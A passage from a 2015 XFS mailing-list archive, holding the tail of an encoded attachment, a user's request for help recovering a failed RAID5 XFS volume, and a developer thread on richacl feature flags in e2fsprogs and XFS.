ZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZm ZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZm Zg0KZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZm ZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZm ZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZm ZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZm ZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmDQpmZmZmZmZmZmZmZmZmZmZmZmRmZmZmZmZmZWZm ZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZm ZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZm ZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZm ZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmYNCmZm ZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZm ZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZm ZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZm ZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZm ZmZmZmZmZmZmZmZmZmZmZmZmZmZmZg0KZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZm ZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZm ZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZm ZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZm ZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmDQpmZmZmZmZm ZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZm ZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZm ZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZm ZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZm ZmZmZmZmZmZmZmZmZmZmZmYNCmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmNTIwMDZm MDA2ZjAwNzQwMDIwMDA0NTAwNmUwMDc0MDA3MjAwNzkwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw MDAwMDAwMDAxNjAwMDUwMGZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmVjNjlkOTg4OGI4YjNkNGM4 NTllYWY2Y2QxNThiZTBmMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMzAxMg0KNTBmZmEwMDlkMTAx ZmVmZmZmZmYwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMGZmZmZmZmZmZmZm ZmZmZmZmZmZmZmZmZjAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw MDAwMDAwMDAwMDAwDQowMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw MDAwMDAwMDAwMDAwMDAwMDAwMGZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZjAwMDAwMDAwMDAwMDAw MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDANCjAwMDAwMDAwMDAwMDAwMDAw MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMGZmZmZmZmZm ZmZmZmZmZmZmZmZmZmZmZjAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw MDAwMDAwMA0KMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw MDEwNTAwMDAwMDAwMDAwMH19 ------=_Part_6297_783631666.1445175107096-- From matteo.sarti@gmail.com Sun Oct 18 09:49:47 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.2 required=5.0 tests=FREEMAIL_FROM,HTML_MESSAGE, MIME_HTML_ONLY,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 06B127CBF for ; Sun, 18 Oct 2015 09:49:47 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id DA41D8F804B for ; Sun, 18 Oct 2015 07:49:43 -0700 (PDT) X-ASG-Debug-ID: 1445179778-04bdf06db3b0360001-NocioJ Received: from mail-wi0-f170.google.com (mail-wi0-f170.google.com [209.85.212.170]) by cuda.sgi.com with ESMTP id kPHFaEsyOjtXNiLx (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Sun, 18 Oct 2015 07:49:40 -0700 (PDT) X-Barracuda-Envelope-From: matteo.sarti@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.212.170 Received: by wicfv8 with SMTP id fv8so45995851wic.0 for ; Sun, 18 Oct 2015 07:49:38 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=content-type:mime-version:content-transfer-encoding:message-id:date :subject:from:to; bh=NN1eBkHz7tApWOeJYgFlWA7budA8QjP4x2NDNtAAO/s=; b=GAcetrcs6m8fKjPN6EnEF/aJvGkSSGjDVa4k5/Tb3WoLbIFPSsfpI5RA5MresU07wp B8vfFlHPngyY+JAvABfzHoyUwdlB2BnwuUir3I+RKiDB3TZAas7Ck72HR+F52+qSTGNF 5PMBqgMLL7YF4g2/NIZS0sRF001e+PbBi3gJrDHNQUehephMEetZOVa+u80CS92pTOV2 87GX5F00SLj6ssZLo05xLaaVS2IjqRy00q4PZ293ueI2jDP2zKpZ/WKeslRE4CYU57FQ a5tZx4DaSsHiiP5lxgetFaDSTrbCO4KX2RYa1Ova0lvSYoDUty0r3mzVEEcjfU4oNF4B fhAQ== X-Received: by 10.194.240.4 with SMTP id vw4mr28205418wjc.89.1445179778426; Sun, 18 Oct 2015 07:49:38 -0700 (PDT) Received: from [127.0.0.1] ([5.90.231.216]) by smtp.gmail.com with ESMTPSA id p7sm34420310wjf.26.2015.10.18.07.49.37 for (version=TLSv1/SSLv3 cipher=OTHER); Sun, 18 Oct 2015 07:49:37 -0700 (PDT) Content-Type: text/html; charset="utf-8" MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable X-Mailer: BlackBerry Email (10.3.2.2639) Message-ID: <20151018144937.5406805.67472.2273@gmail.com> Date: Sun, 18 Oct 2015 16:49:37 +0200 Subject: Problem with data recovery From: Matteo Sarti X-ASG-Orig-Subj: Problem with data recovery To: xfs@oss.sgi.com X-Barracuda-Connect: mail-wi0-f170.google.com[209.85.212.170] X-Barracuda-Start-Time: 1445179779 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, HTML_MESSAGE, MIME_HTML_ONLY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23601 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 0.00 HTML_MESSAGE BODY: HTML included in message =
I have a buffalo terastation with both two failed drive on 4 drives of= raid 5.
Problem is very simple hardware is ok, but someone goes = wrong during normal process of this dataserver.
I check both driv= er on other PC with ufs explorer and drive is full of data, but xfs file sy= stem is not recognized.
How can I write manually on harddrive usi= ng raw data the beginning of xfs definition??
I hope someon= e can help me because buffalo is very good in selling, but not so much in S= upport :(.

Tks

Invio eseguito dallo sma= rtphone BlackBerry 10.
From agruenba@redhat.com Sun Oct 18 15:46:29 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id C5BC67F3F for ; Sun, 18 Oct 2015 15:46:29 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id A74C2304039 for ; Sun, 18 Oct 2015 13:46:26 -0700 (PDT) X-ASG-Debug-ID: 1445201183-04cbb035ab96ca0001-NocioJ Received: from mail-lb0-f177.google.com (mail-lb0-f177.google.com [209.85.217.177]) by cuda.sgi.com with ESMTP id nnaBtpmquJG9fTSB (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Sun, 18 Oct 2015 13:46:24 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.85.217.177 Received: by lbcao8 with SMTP id ao8so128464689lbc.3 for ; Sun, 18 Oct 2015 13:46:23 -0700 (PDT) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:mime-version:in-reply-to:references:date :message-id:subject:from:to:cc:content-type; bh=bOWtAyh3Pc7o/JMZJ6oPXTUFAlHdWu5uy6tKGRo75/Y=; b=IExe3mDjaflsyPruyTFsoY/2KqmsppuEAX+O7uhhOLVdo4oPF44rJBKWmvQep506zC R+oMsCL9d63FMxIBarYdrbWBAqlw9Uc52FiKDYIokwqMDl0U6qMe7BxERLfZc+fBdls2 rGK5m0z6GxsNWlKX2RSYdQ59/mkz1Rk5WbjdihHN0/incw/A5Vnvp2Oy3At0iYPwzSZ0 ESLxtSfMZoZfvkRgn7hNeEgnC55Zany1fQXJQSDUdlOYEdLW/+u3yuiRBET1nVjQyk8r GKEQVQ7nebumJJoTNHAR/t56tR59H4QvDhxM6xd+olT5+ul2gfMvCYs1GLyYH2TAsyt5 hY9g== X-Gm-Message-State: ALoCoQnVlf47ipLC0zaUfIZPob0ah/cbIPsKFk/SYbRhMcMQYaB7gFxlhrepIU8GPeYmA5GXdTiT MIME-Version: 1.0 X-Received: by 10.112.146.2 with SMTP id sy2mr13055781lbb.104.1445201183178; Sun, 18 Oct 2015 13:46:23 -0700 (PDT) Received: by 10.112.53.42 with HTTP; Sun, 18 Oct 2015 13:46:23 -0700 (PDT) In-Reply-To: <20151018003532.GD2678@thunk.org> References: <20151016231615.GF15011@thunk.org> <20151017143951.GA2678@thunk.org> <20151017225910.GT27164@dastard> <20151018003532.GD2678@thunk.org> Date: Sun, 18 Oct 2015 22:46:23 +0200 Message-ID: Subject: Re: e2fsprogs: Richacl support From: Andreas Gruenbacher X-ASG-Orig-Subj: Re: e2fsprogs: Richacl support To: "Theodore Ts'o" Cc: Dave Chinner , linux-ext4 , xfs@oss.sgi.com Content-Type: text/plain; charset=UTF-8 X-Barracuda-Connect: mail-lb0-f177.google.com[209.85.217.177] X-Barracuda-Start-Time: 1445201184 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23610 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header On Sun, Oct 18, 2015 at 2:35 AM, Theodore Ts'o wrote: > On Sun, Oct 18, 2015 at 09:59:10AM +1100, Dave Chinner wrote: >> For XFS userspace we also need this feature bit for xfs_repair so >> that it doesn't attempt to validate the on-disk ACL format is in a >> valid posix ACL format. IOWs, we need an on-disk feature bit to >> indicate the on-disk format of the ACL in XFS. >> >> Further, a user could mount the ext4 fs with "norichacl,acl" to >> force the kernel to parse the rich acls as posix acls because >> without a feature bit the fs does not know what format it's acls are >> in on-disk. This will only end in tears for users. > > So at least for ext4, the richacl xattr using a completely different > index, and so it's not possible to interpret the richacl as an acl. It's the same on xfs. > The only question is whether we pay attention to the richacl acl's at > all. One thing that's not clear to me is what VFS is supposed to do > if an inode has both an Posix ACL xattr and a Richacl xattr at the > same time. The VFS will either look for POSIX ACLs or for a richacl; it won't even notice if both are present. > We're also not trying to validate the on-disk ACL format at all using > e2fsck, just as we're not trying to validate say, the SELinux xattr. > They are just bags of bits as far as e2fsck is concerned. Right now, filesystems that e2fsck is perfectly happy with can still cause errors when used. It would be nice to fix that. With POSIX ACLs, this problem is slightly less severe because the ACL isn't looked at for the owner; it would even be possible to replace a corrupted POSIX ACL. Richacls unfortunately don't allow this optimization. >> I asked this same question on the kernel side of things. While I >> think that from an "on-disk consistency" POV using RO_INCOMPAT would >> be fine, from a user visible POV the behaviour won't be compatible >> and so INCOMPAT makes sense from that perspective. > > If you believe that the only real use of richacl will be primarily for > supporting Samba and NFSv4 servers, then using a read-only compat > feature flag isn't that terrible, and it might be helpful in the case > of someone using a rescue media that hasn't been updated yet to be > able to access the system --- since it seems unlikely that the user > would try to launch a Samba or NFSv4 server from a rescue CD. You wouldn't be able to fsck a filesystem that has unknown features, incompat or ro-incompat, from such a rescue environment. > But I different people of good will can differ with each other, and at > the end of the day I don't think it makes *that* much difference > unless we drop the use of the feature flag entirely. This really should be a feature flag and not a mount option, it just doesn't make sense to switch at mount time. >From this discussion, I'm even more convinced that we should use an incompat feature rather than a ro-incompat feature. Thanks, Andreas From tytso@thunk.org Sun Oct 18 16:45:09 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 6BEE77F3F for ; Sun, 18 Oct 2015 16:45:09 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 16608AC002 for ; Sun, 18 Oct 2015 14:45:05 -0700 (PDT) X-ASG-Debug-ID: 1445204700-04bdf06db4b8410001-NocioJ Received: from imap.thunk.org (imap.thunk.org [74.207.234.97]) by cuda.sgi.com with ESMTP id 7S3960e7fOt6NjkO (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Sun, 18 Oct 2015 14:45:00 -0700 (PDT) X-Barracuda-Envelope-From: tytso@thunk.org X-Barracuda-Apparent-Source-IP: 74.207.234.97 DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=thunk.org; s=ef5046eb; h=In-Reply-To:Content-Type:MIME-Version:References:Message-ID:Subject:Cc:To:From:Date; bh=ITVP19Z4iEvg4s8o80Hky7rEjFisRRi5nl/52k8+e5s=; b=m4W2tz6w8gvQn/z97V3jkevM+CJNh/XlkVyFYY2r1jd+0waZX5LBw3R7wsuvHbkOqyxVa3cvrPyAc7MkFNwuuWKJDJttxaQf81J6jhm076haiPqQqH7cl7eA+o5FSJ3hrheRgRWtTjOKCDlr248iUxS0tmY3ay+BvRFR0fcR1ag=; Received: from root (helo=closure.thunk.org) by imap.thunk.org with local-esmtp (Exim 4.84) (envelope-from ) id 1ZnvlB-0006Nr-FF; Sun, 18 Oct 2015 21:44:57 +0000 Received: by closure.thunk.org (Postfix, from userid 15806) id 3FADD82B825; Sun, 18 Oct 2015 17:44:56 -0400 (EDT) Date: Sun, 18 Oct 2015 17:44:56 -0400 From: Theodore Ts'o To: Andreas Gruenbacher Cc: Dave Chinner , linux-ext4 , xfs@oss.sgi.com Subject: Re: e2fsprogs: Richacl support Message-ID: <20151018214456.GM2678@thunk.org> X-ASG-Orig-Subj: Re: e2fsprogs: Richacl support References: <20151016231615.GF15011@thunk.org> <20151017143951.GA2678@thunk.org> <20151017225910.GT27164@dastard> <20151018003532.GD2678@thunk.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.24 (2015-08-30) X-SA-Exim-Connect-IP: X-SA-Exim-Mail-From: tytso@thunk.org X-SA-Exim-Scanned: No (on imap.thunk.org); SAEximRunCond expanded to false X-Barracuda-Connect: imap.thunk.org[74.207.234.97] X-Barracuda-Start-Time: 1445204700 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23611 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Sun, Oct 18, 2015 at 10:46:23PM +0200, Andreas Gruenbacher wrote: > > The only question is whether we pay attention to the richacl acl's at > > all. One thing that's not clear to me is what VFS is supposed to do > > if an inode has both an Posix ACL xattr and a Richacl xattr at the > > same time. > > The VFS will either look for POSIX ACLs or for a richacl; it won't > even notice if both are present. How does this work in practice? Does it look for richacl's first, and if it doesn't find it, it will then look for a Posix ACL, or vice versa? > Right now, filesystems that e2fsck is perfectly happy with can still > cause errors when used. It would be nice to fix that. > > With POSIX ACLs, this problem is slightly less severe because the ACL > isn't looked at for the owner; it would even be possible to replace a > corrupted POSIX ACL. Richacls unfortunately don't allow this > optimization. Is there code we can use to verify a richacl, and if it's corrupted, what are the options about how we can fix it? Or do we just remove it, and just use the inode's i_uid field for the owner instead of whatever might be in the richacl? Ideally, if you can send the patch to add support to validate / fix Richacl's in e2fsck, that would be great. > This really should be a feature flag and not a mount option, it just > doesn't make sense to switch at mount time. > > From this discussion, I'm even more convinced that we should use an > incompat feature rather than a ro-incompat feature. OK, let's go with that. - Ted From agruenba@redhat.com Sun Oct 18 17:46:53 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 80F1A7F47 for ; Sun, 18 Oct 2015 17:46:53 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 600448F8033 for ; Sun, 18 Oct 2015 15:46:53 -0700 (PDT) X-ASG-Debug-ID: 1445208410-04cb6c3cec8c200001-NocioJ Received: from mail-lb0-f180.google.com (mail-lb0-f180.google.com [209.85.217.180]) by cuda.sgi.com with ESMTP id 4Dt8p9Nf3htvuItX (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Sun, 18 Oct 2015 15:46:51 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.85.217.180 Received: by lbbes7 with SMTP id es7so40060659lbb.2 for ; Sun, 18 Oct 2015 15:46:49 -0700 (PDT) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:mime-version:in-reply-to:references:date :message-id:subject:from:to:cc:content-type; bh=4bbxUOJsYzcS2p42QjxmdHh5ET0KObXYMIo8IaDat/4=; b=go2LHNDCmQ41gXudkIXeOLMPmf/6ubAl48e7HVyiQTkdVcBqtmAZV9K3Iu2608NWY7 S3SBUE1yNR15eLsfzKwDnWMi1MQ/blQ5yGtFCk7nWXB+y4LvvTjuAT5xqqHf1jOg79Kp FYKVGJBcXvcycDJBrCfoQOMD4w079sPpo0TRYxtoFLzYSKDffxezinRRyF8nj+Tc9QwX DlWLhI1KJ9Tmub2svAWONGqs4ANZZRMG9ujvUbydG3v4P9Rr/LGT2ElkivVJ+CfDkYhJ DFO9bAPxJ1Ysogo00tv75WPBgTZn4PeLM5Iqzi0UGGXoOXPCi0sS9yxtGLDoo8hg0om4 zE2Q== X-Gm-Message-State: ALoCoQmCnLBLsZBncR5VilIOHW+rsUeciTtwHQDa/c8OvxEsMRHSqpw/i/S0CYoDzyfeFDebLNgh MIME-Version: 1.0 X-Received: by 10.112.236.8 with SMTP id uq8mr1214998lbc.116.1445208409708; Sun, 18 Oct 2015 15:46:49 -0700 (PDT) Received: by 10.112.53.42 with HTTP; Sun, 18 Oct 2015 15:46:49 -0700 (PDT) In-Reply-To: <20151018214456.GM2678@thunk.org> References: <20151016231615.GF15011@thunk.org> <20151017143951.GA2678@thunk.org> <20151017225910.GT27164@dastard> <20151018003532.GD2678@thunk.org> <20151018214456.GM2678@thunk.org> Date: Mon, 19 Oct 2015 00:46:49 +0200 Message-ID: Subject: Re: e2fsprogs: Richacl support From: Andreas Gruenbacher X-ASG-Orig-Subj: Re: e2fsprogs: Richacl support To: "Theodore Ts'o" Cc: Dave Chinner , linux-ext4 , xfs@oss.sgi.com Content-Type: text/plain; charset=UTF-8 X-Barracuda-Connect: mail-lb0-f180.google.com[209.85.217.180] X-Barracuda-Start-Time: 1445208410 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23612 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header On Sun, Oct 18, 2015 at 11:44 PM, Theodore Ts'o wrote: > On Sun, Oct 18, 2015 at 10:46:23PM +0200, Andreas Gruenbacher wrote: >> > The only question is whether we pay attention to the richacl acl's at >> > all. One thing that's not clear to me is what VFS is supposed to do >> > if an inode has both an Posix ACL xattr and a Richacl xattr at the >> > same time. >> >> The VFS will either look for POSIX ACLs or for a richacl; it won't >> even notice if both are present. > > How does this work in practice? Does it look for richacl's first, and > if it doesn't find it, it will then look for a Posix ACL, or vice > versa? The filesystem sets the MS_POSIXACL super-block flag for POSIX ACLs or the MS_RICHACL super-block flag for richacls. These flags are checked with the IS_POSIXACL(inode) and IS_RICHACL(inode) macros. >> Right now, filesystems that e2fsck is perfectly happy with can still >> cause errors when used. It would be nice to fix that. >> >> With POSIX ACLs, this problem is slightly less severe because the ACL >> isn't looked at for the owner; it would even be possible to replace a >> corrupted POSIX ACL. Richacls unfortunately don't allow this >> optimization. > > Is there code we can use to verify a richacl, and if it's corrupted, > what are the options about how we can fix it? Or do we just remove > it, and just use the inode's i_uid field for the owner instead of > whatever might be in the richacl? The on-disk format is relatively simple, it's the same on ext4 and on xfs and hopefully will be the same on other filesystems as well. That code could be shared. If a richacl is found to be corrupt, a safe way of recovering would be to remove the richacl and clear the S_IRWXUGO mode bits. I don't think trying to fix ACLs would make sense. The i_uid field is unrelated. > Ideally, if you can send the patch to add support to validate / fix > Richacl's in e2fsck, that would be great. I can send the validation code; not sure how removing corrupt xattrs would fit into e2fsck though. Can e2fsck remove individual xattrs? >> This really should be a feature flag and not a mount option, it just >> doesn't make sense to switch at mount time. >> >> From this discussion, I'm even more convinced that we should use an >> incompat feature rather than a ro-incompat feature. > > OK, let's go with that. Okay, good. Thanks, Andreas From sandeen@sandeen.net Sun Oct 18 18:12:25 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id C35FF7F53 for ; Sun, 18 Oct 2015 18:12:25 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 5DC2DAC002 for ; Sun, 18 Oct 2015 16:12:22 -0700 (PDT) X-ASG-Debug-ID: 1445209940-04bdf06db3b9bd0001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id gpV6CXu2ajVTke7h for ; Sun, 18 Oct 2015 16:12:20 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1.2 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id EC38E63CBCF9 for ; Sun, 18 Oct 2015 18:12:19 -0500 (CDT) Subject: Re: Problem with data recovery To: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: Problem with data recovery References: <20151018144937.5406805.67472.2273@gmail.com> From: Eric Sandeen Message-ID: <56242753.7000807@sandeen.net> Date: Sun, 18 Oct 2015 18:12:19 -0500 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:38.0) Gecko/20100101 Thunderbird/38.3.0 MIME-Version: 1.0 In-Reply-To: <20151018144937.5406805.67472.2273@gmail.com> Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: 7bit 